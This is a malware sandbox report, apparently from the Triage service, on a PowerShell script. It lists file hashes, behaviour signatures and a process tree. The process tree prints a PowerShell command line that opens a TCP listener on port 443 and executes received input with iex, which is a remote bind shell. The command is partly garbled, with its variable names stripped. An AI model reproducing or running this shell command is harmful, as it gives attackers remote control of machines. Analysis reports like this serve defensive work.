5f5c5f00a84e03684b736c76b1294a9825966ace8f628e7e65dffba8d6bdc7e6 | Triage

Analysis

max time kernel
109s
max time network
131s
platform
windows10_x64
resource
win10v200430
submitted
07-07-2020 14:02

Sharing

Report Analysis Logs

General

Target

KfhizGC7.ps1
Size

594B
MD5

5f3a4a7943f554bd8f39a48cc9b2faa9
SHA1

fb28d0ac2f50899a7170029120027db996b488fd
SHA256

5f5c5f00a84e03684b736c76b1294a9825966ace8f628e7e65dffba8d6bdc7e6
SHA512

737e27f3ea569ccc893ebdc0b7a8c64409f1228d4266ce8371130432b50c42f7c687cc191a94c1dd94949e951dffa9d6c23ba910d5b0e88b25eb58c1c37cfdf7

Score

1^/10

Malware Config

Signatures

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2900	2416	powershell.exe	69
PID 2416 wrote to memory of 2900	2416	powershell.exe	69

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\KfhizGC7.ps1
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c " = New-Object System.Net.Sockets.TcpListener( '0.0.0.0',443);.start(); = .AcceptTcpClient(); = nt.GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, es.Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString (,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes(); eam.Write(,0,.Length);.Flush()};.Close();.Sto p()"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:2900

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads